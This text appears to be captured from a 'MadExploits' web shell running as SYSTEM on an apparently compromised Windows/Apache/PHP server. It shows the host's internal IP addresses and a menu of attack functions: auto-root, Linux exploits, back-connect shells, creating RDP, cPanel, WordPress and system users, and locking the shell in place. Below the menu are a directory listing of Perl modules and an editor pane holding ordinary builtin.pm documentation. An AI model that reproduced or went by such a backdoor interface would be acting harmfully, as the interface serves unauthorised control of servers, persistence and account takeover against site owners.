Windows NT DGPENSV2LPKMN 10.0 build 14393 (Windows Server 2016) AMD64
Apache/2.4.46 (Win64) OpenSSL/1.1.1h PHP/7.3.25
: 172.16.0.66 | : 172.16.0.254
Cant Read [ /etc/named.conf ]
7.3.25
SYSTEM
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
[ A ]
[ C ]
[ D ]
C: /
laragon /
bin /
git /
usr /
share /
perl5 /
core_perl /
[ HOME SHELL ]
Name
Size
Permission
Action
App
[ DIR ]
drwxrwxrwx
Archive
[ DIR ]
drwxrwxrwx
Attribute
[ DIR ]
drwxrwxrwx
B
[ DIR ]
drwxrwxrwx
Carp
[ DIR ]
drwxrwxrwx
Class
[ DIR ]
drwxrwxrwx
Compress
[ DIR ]
drwxrwxrwx
Config
[ DIR ]
drwxrwxrwx
DBM_Filter
[ DIR ]
drwxrwxrwx
Devel
[ DIR ]
drwxrwxrwx
Digest
[ DIR ]
drwxrwxrwx
Encode
[ DIR ]
drwxrwxrwx
Exporter
[ DIR ]
drwxrwxrwx
File
[ DIR ]
drwxrwxrwx
Filter
[ DIR ]
drwxrwxrwx
Getopt
[ DIR ]
drwxrwxrwx
HTTP
[ DIR ]
drwxrwxrwx
I18N
[ DIR ]
drwxrwxrwx
IO
[ DIR ]
drwxrwxrwx
IPC
[ DIR ]
drwxrwxrwx
JSON
[ DIR ]
drwxrwxrwx
Math
[ DIR ]
drwxrwxrwx
Memoize
[ DIR ]
drwxrwxrwx
Module
[ DIR ]
drwxrwxrwx
Net
[ DIR ]
drwxrwxrwx
Params
[ DIR ]
drwxrwxrwx
Parse
[ DIR ]
drwxrwxrwx
Perl
[ DIR ]
drwxrwxrwx
PerlIO
[ DIR ]
drwxrwxrwx
Search
[ DIR ]
drwxrwxrwx
Term
[ DIR ]
drwxrwxrwx
Test
[ DIR ]
drwxrwxrwx
Test2
[ DIR ]
drwxrwxrwx
Text
[ DIR ]
drwxrwxrwx
Thread
[ DIR ]
drwxrwxrwx
Tie
[ DIR ]
drwxrwxrwx
Time
[ DIR ]
drwxrwxrwx
User
[ DIR ]
drwxrwxrwx
Win32API
[ DIR ]
drwxrwxrwx
autodie
[ DIR ]
drwxrwxrwx
encoding
[ DIR ]
drwxrwxrwx
overload
[ DIR ]
drwxrwxrwx
unicore
[ DIR ]
drwxrwxrwx
version
[ DIR ]
drwxrwxrwx
warnings
[ DIR ]
drwxrwxrwx
.mad-root
0
B
-rw-rw-rw-
AnyDBM_File.pm
2.56
KB
-rw-rw-rw-
AutoLoader.pm
15.43
KB
-rw-rw-rw-
AutoSplit.pm
19.18
KB
-rw-rw-rw-
Benchmark.pm
30.3
KB
-rw-rw-rw-
CPAN.pm
144.4
KB
-rw-rw-rw-
Carp.pm
35.14
KB
-rw-rw-rw-
DB.pm
18.48
KB
-rw-rw-rw-
DBM_Filter.pm
14.05
KB
-rw-rw-rw-
Digest.pm
10.96
KB
-rw-rw-rw-
DirHandle.pm
2.04
KB
-rw-rw-rw-
Dumpvalue.pm
17.25
KB
-rw-rw-rw-
English.pm
4.65
KB
-rw-rw-rw-
Env.pm
5.44
KB
-rw-rw-rw-
Exporter.pm
18.76
KB
-rw-rw-rw-
Fatal.pm
57.7
KB
-rw-rw-rw-
FileCache.pm
5.42
KB
-rw-rw-rw-
FileHandle.pm
6.63
KB
-rw-rw-rw-
FindBin.pm
4.51
KB
-rw-rw-rw-
Memoize.pm
35.34
KB
-rw-rw-rw-
NEXT.pm
18.54
KB
-rw-rw-rw-
PerlIO.pm
13.92
KB
-rw-rw-rw-
Safe.pm
24.76
KB
-rw-rw-rw-
SelectSaver.pm
1.05
KB
-rw-rw-rw-
SelfLoader.pm
17.27
KB
-rw-rw-rw-
Symbol.pm
4.79
KB
-rw-rw-rw-
Test.pm
29.34
KB
-rw-rw-rw-
Test2.pm
6.24
KB
-rw-rw-rw-
Thread.pm
8.09
KB
-rw-rw-rw-
UNIVERSAL.pm
6.61
KB
-rw-rw-rw-
XSLoader.pm
11.15
KB
-rw-rw-rw-
_charnames.pm
34.84
KB
-rw-rw-rw-
autodie.pm
12.14
KB
-rw-rw-rw-
autouse.pm
4.14
KB
-rw-rw-rw-
base.pm
10.7
KB
-rw-rw-rw-
bigfloat.pm
21.45
KB
-rw-rw-rw-
bigint.pm
22.7
KB
-rw-rw-rw-
bignum.pm
27.56
KB
-rw-rw-rw-
bigrat.pm
20.64
KB
-rw-rw-rw-
blib.pm
2.01
KB
-rw-rw-rw-
builtin.pm
8.84
KB
-rw-rw-rw-
bytes.pm
3.69
KB
-rw-rw-rw-
bytes_heavy.pl
758
B
-rw-rw-rw-
charnames.pm
20.56
KB
-rw-rw-rw-
constant.pm
14.38
KB
-rw-rw-rw-
deprecate.pm
4.5
KB
-rw-rw-rw-
diagnostics.pm
18.88
KB
-rw-rw-rw-
dumpvar.pl
15.19
KB
-rw-rw-rw-
experimental.pm
8.12
KB
-rw-rw-rw-
feature.pm
51.6
KB
-rw-rw-rw-
fields.pm
9.25
KB
-rw-rw-rw-
filetest.pm
3.91
KB
-rw-rw-rw-
if.pm
3.55
KB
-rw-rw-rw-
integer.pm
3.18
KB
-rw-rw-rw-
less.pm
3.13
KB
-rw-rw-rw-
locale.pm
4.77
KB
-rw-rw-rw-
meta_notation.pm
2.02
KB
-rw-rw-rw-
ok.pm
967
B
-rw-rw-rw-
open.pm
8.3
KB
-rw-rw-rw-
overload.pm
52.22
KB
-rw-rw-rw-
overloading.pm
1.77
KB
-rw-rw-rw-
parent.pm
2.64
KB
-rw-rw-rw-
perl5db.pl
310.06
KB
-rw-rw-rw-
perlfaq.pm
77
B
-rw-rw-rw-
sigtrap.pm
8.53
KB
-rw-rw-rw-
sort.pm
2.92
KB
-rw-rw-rw-
strict.pm
4.67
KB
-rw-rw-rw-
subs.pm
945
B
-rw-rw-rw-
utf8.pm
10.5
KB
-rw-rw-rw-
vars.pm
2.4
KB
-rw-rw-rw-
version.pm
1.93
KB
-rw-rw-rw-
vmsish.pm
4.21
KB
-rw-rw-rw-
warnings.pm
54.61
KB
-rw-rw-rw-
Delete
Unzip
Zip
${this.title}
Close
Code Editor : builtin.pm
package builtin 0.006; use strict; use warnings; # All code, including &import, is implemented by always-present functions in # the perl interpreter itself. # See also `builtin.c` in perl source 1; __END__ =head1 NAME builtin - Perl pragma to import built-in utility functions =head1 SYNOPSIS use builtin qw( true false is_bool weaken unweaken is_weak blessed refaddr reftype created_as_string created_as_number ceil floor trim ); =head1 DESCRIPTION Perl provides several utility functions in the C<builtin> package. These are plain functions, and look and behave just like regular user-defined functions do. They do not provide new syntax or require special parsing. These functions are always present in the interpreter and can be called at any time by their fully-qualified names. By default they are not available as short names, but can be requested for convenience. Individual named functions can be imported by listing them as import parameters on the C<use> statement for this pragma. The overall C<builtin> mechanism, as well as every individual function it provides, are currently B<experimental>. B<Warning>: At present, the entire C<builtin> namespace is experimental. Calling functions in it will trigger warnings of the C<experimental::builtin> category. =head2 Lexical Import This pragma module creates I<lexical> aliases in the currently-compiling scope to these builtin functions. This is similar to the lexical effect of other pragmas such as L<strict> and L<feature>. sub classify { my $val = shift; use builtin 'is_bool'; return is_bool($val) ? "boolean" : "not a boolean"; } # the is_bool() function is no longer visible here # but may still be called by builtin::is_bool() Because these functions are imported lexically, rather than by package symbols, the user does not need to take any special measures to ensure they don't accidentally appear as object methods from a class. package An::Object::Class { use builtin 'true', 'false'; ... } # does not appear as a method An::Object::Class->true; # Can't locate object method "true" via package "An::Object::Class" # at ... =head1 FUNCTIONS =head2 true $val = true; Returns the boolean truth value. While any scalar value can be tested for truth and most defined, non-empty and non-zero values are considered "true" by perl, this one is special in that L</is_bool> considers it to be a distinguished boolean value. This gives an equivalent value to expressions like C<!!1> or C<!0>. =head2 false $val = false; Returns the boolean fiction value. While any non-true scalar value is considered "false" by perl, this one is special in that L</is_bool> considers it to be a distinguished boolean value. This gives an equivalent value to expressions like C<!!0> or C<!1>. =head2 is_bool $bool = is_bool($val); Returns true when given a distinguished boolean value, or false if not. A distinguished boolean value is the result of any boolean-returning builtin function (such as C<true> or C<is_bool> itself), boolean-returning operator (such as the C<eq> or C<==> comparison tests or the C<!> negation operator), or any variable containing one of these results. This function used to be named C<isbool>. A compatibility alias is provided currently but will be removed in a later version. =head2 weaken weaken($ref); Weakens a reference. A weakened reference does not contribute to the reference count of its referent. If only weakened references to a referent remain, it will be disposed of, and all remaining weak references to it will have their value set to C<undef>. =head2 unweaken unweaken($ref); Strengthens a reference, undoing the effects of a previous call to L</weaken>. =head2 is_weak $bool = is_weak($ref); Returns true when given a weakened reference, or false if not a reference or not weak. This function used to be named C<isweak>. A compatibility alias is provided currently but will be removed in a later version. =head2 blessed $str = blessed($ref); Returns the package name for an object reference, or C<undef> for a non-reference or reference that is not an object. =head2 refaddr $num = refaddr($ref); Returns the memory address for a reference, or C<undef> for a non-reference. This value is not likely to be very useful for pure Perl code, but is handy as a means to test for referential identity or uniqueness. =head2 reftype $str = reftype($ref); Returns the basic container type of the referent of a reference, or C<undef> for a non-reference. This is returned as a string in all-capitals, such as C<ARRAY> for array references, or C<HASH> for hash references. =head2 created_as_string $bool = created_as_string($val); Returns a boolean representing if the argument value was originally created as a string. It will return true for any scalar expression whose most recent assignment or modification was of a string-like nature - such as assignment from a string literal, or the result of a string operation such as concatenation or regexp. It will return false for references (including any object), numbers, booleans and undef. It is unlikely that you will want to use this for regular data validation within Perl, as it will not return true for regular numbers that are still perfectly usable as strings, nor for any object reference - especially objects that overload the stringification operator in an attempt to behave more like strings. For example my $val = URI->new( "https://metacpan.org/" ); if( created_as_string $val ) { ... } # this will not execute =head2 created_as_number $bool = created_as_number($val); Returns a boolean representing if the argument value was originally created as a number. It will return true for any scalar expression whose most recent assignment or modification was of a numerical nature - such as assignment from a number literal, or the result of a numerical operation such as addition. It will return false for references (including any object), strings, booleans and undef. It is unlikely that you will want to use this for regular data validation within Perl, as it will not return true for regular strings of decimal digits that are still perfectly usable as numbers, nor for any object reference - especially objects that overload the numification operator in an attempt to behave more like numbers. For example my $val = Math::BigInt->new( 123 ); if( created_as_number $val ) { ... } # this will not execute While most Perl code should operate on scalar values without needing to know their creation history, these two functions are intended to be used by data serialisation modules such as JSON encoders or similar situations, where language interoperability concerns require making a distinction between values that are fundamentally stringlike versus numberlike in nature. =head2 ceil $num = ceil($num); Returns the smallest integer value greater than or equal to the given numerical argument. =head2 floor $num = floor($num); Returns the largest integer value less than or equal to the given numerical argument. =head2 indexed @ivpairs = indexed(@items) Returns an even-sized list of number/value pairs, where each pair is formed of a number giving an index in the original list followed by the value at that position in it. I.e. returns a list twice the size of the original, being equal to (0, $items[0], 1, $items[1], 2, $items[2], ...) Note that unlike the core C<values> function, this function returns copies of its original arguments, not aliases to them. Any modifications of these copies are I<not> reflected in modifications to the original. my @x = ...; $_++ for indexed @x; # The @x array remains unaffected This function is primarily intended to be useful combined with multi-variable C<foreach> loop syntax; as foreach my ($index, $value) (indexed LIST) { ... } In scalar context this function returns the size of the list that it would otherwise have returned, and provokes a warning in the C<scalar> category. =head2 trim $stripped = trim($string); Returns the input string with whitespace stripped from the beginning and end. trim() will remove these characters: " ", an ordinary space. "\t", a tab. "\n", a new line (line feed). "\r", a carriage return. and all other Unicode characters that are flagged as whitespace. A complete list is in L<perlrecharclass/Whitespace>. $var = " Hello world "; # "Hello world" $var = "\t\t\tHello world"; # "Hello world" $var = "Hello world\n"; # "Hello world" $var = "\x{2028}Hello world\x{3000}"; # "Hello world" C<trim> is equivalent to: $str =~ s/\A\s+|\s+\z//urg; For Perl versions where this feature is not available look at the L<String::Util> module for a comparable implementation. =head1 SEE ALSO L<perlop>, L<perlfunc>, L<Scalar::Util> =cut
Close